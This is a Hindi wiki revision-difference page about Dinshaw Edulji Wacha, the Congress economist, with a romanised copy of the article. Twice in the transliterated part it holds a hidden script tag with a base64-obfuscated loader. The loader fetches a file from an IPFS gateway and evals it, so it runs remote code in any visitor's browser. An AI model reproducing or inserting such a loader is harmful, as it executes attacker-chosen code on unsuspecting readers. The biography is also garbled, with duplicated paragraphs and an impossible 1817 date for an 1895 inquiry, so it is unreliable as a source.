Difference between revisions of "दिनशा वाचा"

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'''दिनशा इडलजी वाचा''' ([[अंग्रेज़ी]] ''Dinshaw Edulji Wacha''; जन्म- 1844; मृत्यु -[[1936]]) आर्थिक विशेषज्ञ और [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना में प्रमुख योगदान देने वाले [[मुंबई]] के तीन मुख्य पारसी नेताओं में से एक थे। प्रारंभ से ही कांग्रेस से जुड़े हुए दिनशा 13 वर्ष तक इस संगठन के महामंत्री रहें और [[1901]] ई. में कोलकाता कांग्रेस के [[अध्यक्ष]] चुने गए। [[फ़िरोजशाह मेहता|फ़िरोजशाह मेहता]] तथा [[दादा भाई नौरोजी]] के सहयोग से सर दिनशा वाचा ने [[भारत]] की गरीबी और गरीब जनता से सरकारी करों के रूप में वसूल किए गए धन के अपव्यय के विरुद्ध स्वदेश में और शासक [[ब्रिटेन|देश ब्रिटेन]] में लोकमत जगाने के लिए अथक परिश्रम किया।
 
'''दिनशा इडलजी वाचा''' ([[अंग्रेज़ी]] ''Dinshaw Edulji Wacha''; जन्म- 1844; मृत्यु -[[1936]]) आर्थिक विशेषज्ञ और [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना में प्रमुख योगदान देने वाले [[मुंबई]] के तीन मुख्य पारसी नेताओं में से एक थे। प्रारंभ से ही कांग्रेस से जुड़े हुए दिनशा 13 वर्ष तक इस संगठन के महामंत्री रहें और [[1901]] ई. में कोलकाता कांग्रेस के [[अध्यक्ष]] चुने गए। [[फ़िरोजशाह मेहता|फ़िरोजशाह मेहता]] तथा [[दादा भाई नौरोजी]] के सहयोग से सर दिनशा वाचा ने [[भारत]] की गरीबी और गरीब जनता से सरकारी करों के रूप में वसूल किए गए धन के अपव्यय के विरुद्ध स्वदेश में और शासक [[ब्रिटेन|देश ब्रिटेन]] में लोकमत जगाने के लिए अथक परिश्रम किया।
 
== संक्षिप्त परिचय ==
 
== संक्षिप्त परिचय ==
दिनशा इडलजी वाचा का जन्म 1844 में हुआ था। [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना में प्रमुख योगदान देने वाले [[मुंबई]] के तीन मुख्य पारसी नेताओं में से एक थे। अपने अन्य दोनों साथी पारसी नेताओं, [[फ़िरोजशाह मेहता|फ़िरोजशाह मेहता]] तथा [[दादा भाई नौरोजी]] के सहयोग से सर दिनशा वाचा ने [[भारत]] की गरीबी और गरीब जनता से सरकारी करों के रूप में वसूल किए गए धन के अपव्यय के विरुद्ध स्वदेश में और शासक देश ब्रिटेन में लोकमत जगाने के लिए अथक परिश्रम किया। दिनशा आर्थिक और वित्तीय मामलों के विशेषज्ञ थे और इन विषयों में उनकी सूझ बड़ी ही पैनी थी। ये भारत में [[ब्रिटिश शासन]] के विशेषत: ब्रिटेन द्वारा भारत के आर्थिक शोषण के अत्यंत कटु आलोचक थे। वे इस विषय के विभिन्न पहलुओं पर लेख लिखकर और भाषण देकर लोगों का ध्यान आकर्षित करते थे।
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{{main|दिनशा वाचा का परिचय}}
== वित्तीय स्थिति प्रस्ताव ==
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दिनशा इडलजी वाचा का जन्म 1844 में हुआ था। [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना में प्रमुख योगदान देने वाले [[मुंबई]] के तीन मुख्य पारसी नेताओं में से एक थे। अपने अन्य दोनों साथी पारसी नेताओं, [[फ़िरोजशाह मेहता|फ़िरोजशाह मेहता]] तथा [[दादा भाई नौरोजी]] के सहयोग से सर दिनशा वाचा ने [[भारत]] की गरीबी और गरीब जनता से सरकारी करों के रूप में वसूल किए गए धन के अपव्यय के विरुद्ध स्वदेश में और शासक देश ब्रिटेन में लोकमत जगाने के लिए अथक परिश्रम किया। दिनशा आर्थिक और वित्तीय मामलों के विशेषज्ञ थे और इन विषयों में उनकी सूझ बड़ी ही पैनी थी।  
दिनशा ने कांग्रेस के प्रथम अधिवेशन में ही दादाभाई नौरोजी ने देश की वित्तीय स्थिति और प्रकासकीय व्यय के संबंध में एक प्रस्ताव प्रस्तुत करके इस विषय की जाँच कराए जाने का अनुरोध किया कि भारत के प्रशासन तथा सेना में होने वाले व्यय का कितना भार भारतीय जनता वहन करे और कितना शासक देश ब्रिटेन के जिम्मे हो। इस विषय का आंदोलन दस वर्ष से अधिक समय तक लगातार जारी रहा और [[दादाभाई नौरोजी]] ने ब्रिटिश पार्लमेंट में भी इसे विवाद के लिए प्रस्तुत किया। फलत: [[24 मई]], [[1895]] को राजकीय घोषणा द्वारा एक जाँच कमीशन नियुक्त हुआ जिसे [[भारत]] में होने वाले सैनिक और प्रशासकीय व्यय की जाँच करके इस निर्णय का काम सौंपा गया कि उस व्यय का कितना अंश भारत वहन करे और कितना ब्रिटेन।
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== राजनीतिक जीवन ==
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सन [[1901]] में दिनशा को [[मुंबई]] म्यूनिसिपल कार्पोरेशन के [[अध्यक्ष]] चुना गया और उसी वर्ष वे [[भारतीय राष्ट्रीय कांग्रेस]] के वार्षिक अधिवेशन के अध्यक्ष बनाए गए। वाचा ने अपने [[कांग्रेस]] के अध्यक्षीय भाषण में भारत में अकाल पड़ने के कारणों का बड़ा मार्मिक विवेचन किया। दिनशा वाचा की, आर्थिक विशेषज्ञ के रूप में धाक जम गई और भारतीय नेताओं में उन्हें विशिष्ट एवं प्रमुख स्थान प्राप्त हुआ।
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== निधन ==
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सर दिनशा इडल वाचा का निधन [[1936]] में हुआ था।
  
इस जाँच कमीशन के सामने भारत की ओर से साक्ष्य प्रस्तुत करने को दो भारतीय नेता [[अप्रैल]], 1817 में [[लंदन]] भेजे गए। इनमें से एक थे सर दिनशा इडलजी वाचा और दूसरे थे [[गोपाल कृष्ण गोखले]]। इन दोनों तथा सक्ष्य के लिए गए दो अन्य भारतीय नेताओं [[सुरेंद्रनाथ बनर्जी]] तथा सुब्रह्मण्य अय्यर के सहयोग से दादाभाई नौरोजी ने भारतीय जनता की गरीबी और आर्थिक तबाही का सही चित्र ब्रिटिश जनता के सामने प्रस्तुत करने के लिए धुँआधार प्रचार का आयोजन किया।
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<div align="center">'''[[दिनशा वाचा का परिचय|आगे जाएँ »]]'''</div>
== राजनैतिक जीवन ==
 
दिनशा वाचा की, आर्थिक विशेषज्ञ के रूप में धाक जम गई और भारतीय नेताओं में उन्हें विशिष्ट एवं प्रमुख स्थान प्राप्त हुआ। सन [[1901]] में दिनशा को [[मुंबई]] म्यूनिसिपल कार्पोरेशन के [[अध्यक्ष]] चुना गया और उसी वर्ष वे [[भारतीय राष्ट्रीय कांग्रेस]] के वार्षिक अधिवेशन के अध्यक्ष बनाए गए। वाचा ने अपने [[कांग्रेस]] के अध्यक्षीय भाषण में भारत में अकाल पड़ने के कारणों का बड़ा मार्मिक विवेचन किया। बंबई कार्पोरेशन के प्रतिनिधि के रूप में वाचा मुंबई प्रदेशीय कौंसिल के सदस्य चने गए। कुछ समय बाद वे देश की तत्कालीन व्यवस्थापिका सभा, इंपीरियल लेजिस्लेटिव कौंसिल के सदस्य चुने गए। वहाँ भी उन्होंने देश की वित्तीय स्थिति सुधारे जाने के पक्ष में अपना आंदोलन जारी रखा।
 
  
भारतीय राष्ट्रीय कांग्रेस के प्रमुख सदस्य वे उसकी स्थापना के समय से ही रहे ओर 13 वर्ष तक उसके महामंत्री भी रहे। यद्यपि सन [[1920]] में वे [[कांग्रेस]] छोड़कर लिबरल (उदार) दल के संस्थापकों में सम्मिलित हुए परंतु 25 वर्ष से अधिक काल तक वे कांग्रेस के दहकते अग्निपुंज के रूप में विख्यात रहे।
 
== निधन ==
 
सर दिनशा इडल वाचा का निधन [[1936]] में हुआ था।
 
 
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==संबंधित लेख==
 
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Revision as of 11:34, 8 June 2017

dinasha vacha
poora nam dinasha idalaji vacha
any nam dinasha vacha
janm 1844
mrityu 1936
nagarikata bharatiy
parti bharatiy rashtriy kaangres
vishesh yogadan firojashah mehata tatha dada bhaee nauroji ke sahayog se sar dinasha vacha ne bharat ki garibi aur garib janata se sarakari karoan ke roop mean vasool kie ge dhan ke apavyay ke viruddh svadesh mean aur shasak desh briten mean lokamat jagane ke lie athak parishram kiya.
sanbandhit lekh dadabhaee nauroji, firojashah mehata, muanbee, sureandranath banarji
any janakari dinasha idalaji vacha bharat mean british shasan ke visheshat: briten dvara bharat ke arthik shoshan ke atyant katu alochak the. ve is vishay ke vibhinn pahaluoan par lekh likhakar aur bhashan dekar logoan ka dhyan akarshit karate the.
adyatan‎ 04:42, 4 joon 2017 (IST)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dinasha idalaji vacha (aangrezi Dinshaw Edulji Wacha; janm- 1844; mrityu -1936) arthik visheshajn aur bharatiy rashtriy kaangres ki sthapana mean pramukh yogadan dene vale muanbee ke tin mukhy parasi netaoan mean se ek the. praranbh se hi kaangres se ju de hue dinasha 13 varsh tak is sangathan ke mahamantri rahean aur 1901 ee. mean kolakata kaangres ke adhyaksh chune ge. firojashah mehata tatha dada bhaee nauroji ke sahayog se sar dinasha vacha ne bharat ki garibi aur garib janata se sarakari karoan ke roop mean vasool kie ge dhan ke apavyay ke viruddh svadesh mean aur shasak desh briten mean lokamat jagane ke lie athak parishram kiya.

sankshipt parichay

  1. REDIRECTsaancha:mukhy

dinasha idalaji vacha ka janm 1844 mean hua tha. bharatiy rashtriy kaangres ki sthapana mean pramukh yogadan dene vale muanbee ke tin mukhy parasi netaoan mean se ek the. apane any donoan sathi parasi netaoan, firojashah mehata tatha dada bhaee nauroji ke sahayog se sar dinasha vacha ne bharat ki garibi aur garib janata se sarakari karoan ke roop mean vasool kie ge dhan ke apavyay ke viruddh svadesh mean aur shasak desh briten mean lokamat jagane ke lie athak parishram kiya. dinasha arthik aur vittiy mamaloan ke visheshajn the aur in vishayoan mean unaki soojh b di hi paini thi.

rajanitik jivan

  1. REDIRECTsaancha:mukhy

san 1901 mean dinasha ko muanbee myoonisipal karporeshan ke adhyaksh chuna gaya aur usi varsh ve bharatiy rashtriy kaangres ke varshik adhiveshan ke adhyaksh banae ge. vacha ne apane kaangres ke adhyakshiy bhashan mean bharat mean akal p dane ke karanoan ka b da marmik vivechan kiya. dinasha vacha ki, arthik visheshajn ke roop mean dhak jam gee aur bharatiy netaoan mean unhean vishisht evan pramukh sthan prapt hua.

nidhan

sar dinasha idal vacha ka nidhan 1936 mean hua tha.

age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>